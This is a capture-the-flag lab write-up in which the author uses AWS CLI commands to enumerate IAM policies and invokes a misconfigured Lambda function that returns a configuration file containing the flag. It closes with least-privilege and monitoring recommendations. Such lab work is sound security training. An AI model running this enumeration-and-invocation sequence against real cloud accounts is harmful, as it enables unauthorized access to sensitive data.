Skip to content

Lambda Escalation Walkthrough

Lab Name: Lambda Escalation
Platform: Infinity Learning

We start as developer1 and inspect the attached policies. We can invoke Bucket-mgmgt-Function, which returns the target data using its execution role’s access.

Initial Access:

We are given the AWS credentials of an employee.

AWS Resources:

The environment contains IAM users, roles, policies, S3 buckets, and a Lambda function.

Hidden Flag:

The flag is hidden in one of these resources.

  • Enumerate AWS IAM resources (users, roles, policies, and attached permissions).
  • Analyze Lambda function permissions and exploit any misconfigurations.
  • Invoke Lambda functions to escalate privileges and retrieve the flag hidden in the system.

AWS-Lambda-01

Output
Access Key ID:[REDACTED_ACCESS_KEY]
Secret Access Key:[REDACTED_SECRET_KEY]

Configure AWS credentials

Terminal window
aws configure --profile lambda
Output
AWS Access Key ID [None]: [REDACTED_ACCESS_KEY]
AWS Secret Access Key [None]: [REDACTED_SECRET_KEY]
Default region name [None]: us-east-1
Default output format [json]: json

Caller Identity Output:

Terminal window
aws sts get-caller-identity --profile lambda
Output
{
"UserId": "AIDAQ3EGUZMEQI6PURZBE",
"Account": "058264439561",
"Arn": "arn:aws:iam::058264439561:user/developer1"
}
  • Username: developer1

List managed user policies for developer1

Terminal window
aws iam list-attached-user-policies --profile lambda --user-name developer1
Output
{
"AttachedPolicies": [
{
"PolicyName": "ListUserPoliciesPolicy",
"PolicyArn": "arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy"
},
{
"PolicyName": "LambdaInvokePolicy",
"PolicyArn": "arn:aws:iam::058264439561:policy/LambdaInvokePolicy"
}
]
}
  • Two managed policies are attached to developer1. We can inspect both.

Retrieve the managed policy ListUserPoliciesPolicy

Terminal window
aws iam get-policy --policy-arn arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy --profile lambda
Output
{
"Policy": {
"PolicyName": "ListUserPoliciesPolicy",
"PolicyId": "ANPAQ3EGUZME6K77LHU2K",
"Arn": "arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "Allow user to list and get their own IAM policies",
"CreateDate": "2024-11-04T09:48:12+00:00",
"UpdateDate": "2024-11-04T09:48:12+00:00",
"Tags": []
}
}
  • The description says: “Allow user to list and get their own IAM policies.” We check the policy permissions to confirm.

Check the permissions assigned to ListUserPoliciesPolicy

Output
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:ListAttachedUserPolicies"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::058264439561:user/developer1"
},
{
"Action": [
"s3:ListAllMyBuckets"
],
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-11-04T09:48:12+00:00"
}
}
  • We found permission to list any S3 bucket and the policies attached to developer1. We check LambdaInvokePolicy next.

Retrieve the Managed Policy for LambdaInvokePolicy

Terminal window
aws iam get-policy --policy-arn arn:aws:iam::058264439561:policy/LambdaInvokePolicy --profile lambda
Output
{
"Policy": {
"PolicyName": "LambdaInvokePolicy",
"PolicyId": "ANPAQ3EGUZME4QXYT3FWQ",
"Arn": "arn:aws:iam::058264439561:policy/LambdaInvokePolicy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2024-11-04T09:48:37+00:00",
"UpdateDate": "2024-11-04T09:48:37+00:00",
"Tags": []
}
}

Check the permissions assigned to LambdaInvokePolicy

Terminal window
aws iam get-policy-version --policy-arn arn:aws:iam::058264439561:policy/LambdaInvokePolicy --version-id v1 --profile lambda
Output
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"lambda:InvokeFunction",
"iam:GetUserPolicy",
"iam:GetPolicyVersion",
"iam:GetPolicy"
],
"Effect": "Allow",
"Resource": [
"arn:aws:lambda:us-east-1:058264439561:function:Bucket-mgmgt-Function",
"arn:aws:iam::058264439561:policy/ListUserPoliciesPolicy",
"arn:aws:iam::058264439561:policy/LambdaInvokePolicy"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-11-04T09:48:37+00:00"
}
}
  • The developer1 user can invoke a function and read managed policy permissions, which we have already checked.
  • We can invoke Bucket-mgmgt-Function using these permissions.

We invoke the Lambda function using the misconfigured permissions.

Terminal window
aws lambda invoke --function-name Bucket-mgmgt-Function output.json --region us-east-1 --profile lambda
Output
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
Terminal window
cat output.json| jq
Output
{
"statusCode": 200,
"body": "\"[default]\\r\\nregion = us-east-1\\r\\noutput = json\\r\\n\\r\\n[profile dev]\\r\\nregion = us-west-2\\r\\noutput = json\\r\\n# This is the dev profile for AWS access.\\r\\n# [REDACTED_FLAG]\\r\\n\\r\\n[profile test]\\r\\nregion = eu-west-1\\r\\noutput = text\\r\\n# This is the test profile for testing environment configurations.\\r\\n\\r\\n[profile prod]\\r\\nregion = ap-southeast-1\\r\\noutput = json\\r\\n# This is the production profile for AWS access. Make sure to use with caution.\\r\\n\""
}

Flag found: [REDACTED_FLAG]

Note: We also had permission to list the S3 bucket, but didn’t need it. Invoking the misconfigured Lambda function gave us the flag. CWL rates this lab as medium, though I found it easy.


We retrieve the flag through the Lambda response without changing our IAM policies or becoming an administrator. The function uses its execution role to read sensitive data and returns it to a caller who should not have that access.

  • Restrict Lambda invocation so only trusted roles can execute the function.
  • Remove unnecessary IAM permissions and enforce strict least-privilege for all users.
  • Ensure Lambda functions never return sensitive data and store secrets securely.
  • Enable CloudTrail and monitoring alerts to detect suspicious IAM or Lambda activity.